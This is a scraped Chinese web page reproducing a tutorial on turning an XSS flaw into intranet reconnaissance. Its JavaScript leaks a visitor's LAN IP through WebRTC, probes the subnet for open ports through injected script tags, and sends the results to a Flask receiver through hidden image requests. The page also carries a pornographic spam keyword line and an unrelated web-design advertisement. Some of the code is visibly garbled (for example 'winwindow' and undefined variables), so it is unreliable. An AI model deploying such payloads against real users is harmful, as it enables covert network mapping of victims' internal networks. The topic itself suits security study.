av激情亚洲男人的天堂国语,日韩欧美精品一中文字幕,无码av一区二区三区无码,国产又色又爽又刺激的a片,国产又色又爽又刺激的a片

XSS的另一種利用思路

前言

十年的惠水網(wǎng)站建設(shè)經(jīng)驗(yàn),針對(duì)設(shè)計(jì)、前端、開(kāi)發(fā)、售后、文案、推廣等六對(duì)一服務(wù),響應(yīng)快,48小時(shí)及時(shí)工作處理。營(yíng)銷(xiāo)型網(wǎng)站建設(shè)的優(yōu)勢(shì)是能夠根據(jù)用戶(hù)設(shè)備顯示端的尺寸不同,自動(dòng)調(diào)整惠水建站的顯示方式,使網(wǎng)站能夠適用不同顯示終端,在瀏覽器中調(diào)整網(wǎng)站的寬度,無(wú)論在任何一種瀏覽器上瀏覽網(wǎng)站,都能展現(xiàn)優(yōu)雅布局與設(shè)計(jì),從而大程度地提升瀏覽體驗(yàn)。創(chuàng)新互聯(lián)公司從事“惠水網(wǎng)站設(shè)計(jì)”,“惠水網(wǎng)站推廣”以來(lái),每個(gè)客戶(hù)項(xiàng)目都認(rèn)真落實(shí)執(zhí)行。

安全測(cè)試人員在測(cè)試XSS漏洞的時(shí)候,用得最多的方式是利用XSS釣魚(yú)攻擊、盜取會(huì)話憑證,挾持會(huì)話。當(dāng)然還有很多其他利用方式,但是卻很少涉及內(nèi)網(wǎng)滲透環(huán)節(jié)。換一種思路,XSS還可以做很多意想不到的事,本文通過(guò)實(shí)踐介紹利用js進(jìn)行內(nèi)網(wǎng)端口掃描的滲透思路。

獲取局域網(wǎng)IP

進(jìn)行內(nèi)網(wǎng)端口掃描首先第一點(diǎn)要獲取內(nèi)網(wǎng)IP,這是最關(guān)鍵的一步,這里有一個(gè)前輩的Demo:

使用的WebRTC技術(shù)獲取當(dāng)前訪問(wèn)者的局域網(wǎng)IP,具體的js實(shí)現(xiàn)如下:

 
 
 
 
  1. function getlanip(callback){ 
  2.     var ip_dups = {}; 
  3.     var RTCPeerConnection = window.RTCPeerConnection 
  4.         || window.mozRTCPeerConnection 
  5.         || window.webkitRTCPeerConnection; 
  6.     if (!RTCPeerConnection) { 
  7.         var iframe = document.createElement('iframe'); 
  8.         iframe.sandbox = 'allow-same-origin'; 
  9.         iframe.style.display = 'none'; 
  10.         document.body.appendChild(iframe); 
  11.         var win = iframe.contentWindow; 
  12.         winwindow.RTCPeerConnection = win.RTCPeerConnection; 
  13.         winwindow.mozRTCPeerConnection = win.mozRTCPeerConnection; 
  14.         winwindow.webkitRTCPeerConnection = win.webkitRTCPeerConnection; 
  15.         RTCPeerConnection = window.RTCPeerConnection 
  16.             || window.mozRTCPeerConnection 
  17.             || window.webkitRTCPeerConnection; 
  18.     } 
  19.     var mediaConstraints = { 
  20.         optional: [{RtpDataChannels: true}] 
  21.     }; 
  22.     var servers = undefined; 
  23.     if(window.webkitRTCPeerConnection) 
  24.         servers = {iceServers: [{urls: "stun:stun.services.mozilla.com"}]}; 
  25.     var pc = new RTCPeerConnection(servers, mediaConstraints); 
  26.     pc.onicecandidate = function(ice){ 
  27.         if(ice.candidate){ 
  28.             var ip_regex = /([0-9]{1,3}(.[0-9]{1,3}){3})/ 
  29.             var ip_addr = ip_regex.exec(ice.candidate.candidate)[1]; 
  30.  
  31.             if(ip_dups[ip_addr] === undefined) 
  32.                 callback(ip_addr); 
  33.  
  34.             ip_dups[ip_addr] = true;} 
  35.         }; 
  36.     pc.createDataChannel(""); 
  37.     pc.createOffer(function(result){ 
  38.         pc.setLocalDescription(result, function(){}, function(){}); 
  39.         }, function(){}); 
  40.     } 

WebRTC

WebRTC,是網(wǎng)頁(yè)實(shí)時(shí)通信(Web Real-Time Communication)的縮寫(xiě),是一個(gè)支持網(wǎng)頁(yè)瀏覽器進(jìn)行實(shí)時(shí)語(yǔ)音對(duì)話或視頻對(duì)話的技術(shù)。WebRTC 實(shí)現(xiàn)了基于網(wǎng)頁(yè)的視頻會(huì)議,標(biāo)準(zhǔn)是 WHATWG 協(xié)議,目的是通過(guò)瀏覽器提供簡(jiǎn)單的 Javascript 就可以做到實(shí)時(shí)通訊。WebRTC 項(xiàng)目的最終目的主要是讓 Web 開(kāi)發(fā)者能夠基于瀏覽器輕易快捷地開(kāi)發(fā)出豐富的實(shí)時(shí)多媒體應(yīng)用,而無(wú)需下載安裝任何插件,Web 開(kāi)發(fā)者也無(wú)需關(guān)注多媒體的數(shù)字信號(hào)處理過(guò)程,只需編寫(xiě)簡(jiǎn)單的 Javascript 程序即可實(shí)現(xiàn),很多瀏覽器包括Firefox Chrome,360極速瀏覽器都已經(jīng)支持WebRTC, 但是Internet Explorer 和 Safari 尚未支持 WebRTC。

JS端口掃描

有了局域網(wǎng)IP,利用sciprt標(biāo)簽加載js函數(shù)執(zhí)行,然后利用html onload事件結(jié)合img標(biāo)簽當(dāng)然可以這里可以使用其他的比如:iframe標(biāo)簽等,把加載成功的IP,端口信息傳回我們的接收端,這里我用Flask簡(jiǎn)單的寫(xiě)了一個(gè)接收端。

 
 
 
 
  1. #!/usr/bin/env python3 
  2. #coding:utf-8 
  3.  
  4. from flask import Flask,request 
  5.  
  6. app = Flask(__name__) 
  7.  
  8. @app.route(rule='/') 
  9. def index(): 
  10.     args = request.args 
  11.     for k,v in args.items(): 
  12.         print(k,v) 
  13.     return str() 
  14.  
  15. if __name__ == '__main__': 
  16.     app.run(debug=True) 

下面是一個(gè)簡(jiǎn)單的掃描函數(shù)和數(shù)據(jù)傳回函數(shù)。

 
 
 
 
  1. //數(shù)據(jù)傳回 
  2. var TagName = document.getElementsByTagName("body")[0]; 
  3. function post_data(ip,port){ 
  4.     var img = document.createElement("img"); 
  5.     img.setAttribute("src","http://127.0.0.1:5000/?ip=" + ip + "&openport=" + port); 
  6.     img.setAttribute("style","display:none") 
  7.     TagName.appendChild(img); 
  8.     } 
  9.  
  10. //簡(jiǎn)單端口掃描 
  11. getlanip(function(ip){ 
  12. //判斷內(nèi)網(wǎng)IP 
  13.     if (ip.match(/^(192.168.|169.254.|10.|172.(1[6-9]|2d|3[01]))/)){ 
  14.         ipip = ip.split("."); 
  15.         ip.pop(); 
  16.         ipip = ip.join("."); 
  17.         for(var i = 1;i<=255;i++){ 
  18.             var script = document.createElement("script"); 
  19.             var ipip_url = ip + "." + i + ":80";//3306 
  20.             script.setAttribute("src","http://" + ip_url); 
  21.             script.setAttribute("onload","post_data('" + ip + "." + i + "','80')");//3306 
  22.             TagName.appendChild(script); 
  23.         } 
  24.     } 
  25.     }); 

隨便一個(gè)html引入js文件,加載效果圖。

在服務(wù)端成功的接收到了開(kāi)放80端口的ip。

當(dāng)然其他端口也是可以的只要支持http協(xié)議訪問(wèn)的比如3306。

探測(cè)到開(kāi)放3306端口的主機(jī),這樣實(shí)現(xiàn)了一個(gè)簡(jiǎn)單的局域網(wǎng)ip端口的功能。

結(jié)語(yǔ)

當(dāng)懷疑某處存在xss漏洞而我們又想知道內(nèi)網(wǎng)具體的ip端口情況時(shí),我們就可以利用這種方式實(shí)現(xiàn)局域網(wǎng)端口探測(cè),有點(diǎn)類(lèi)似于SSRF,但是通過(guò)XSS也同樣可以實(shí)現(xiàn)。


網(wǎng)站題目:XSS的另一種利用思路
當(dāng)前地址:http://uogjgqi.cn/article/djpcjoh.html
掃二維碼與項(xiàng)目經(jīng)理溝通

我們?cè)谖⑿派?4小時(shí)期待你的聲音

解答本文疑問(wèn)/技術(shù)咨詢(xún)/運(yùn)營(yíng)咨詢(xún)/技術(shù)建議/互聯(lián)網(wǎng)交流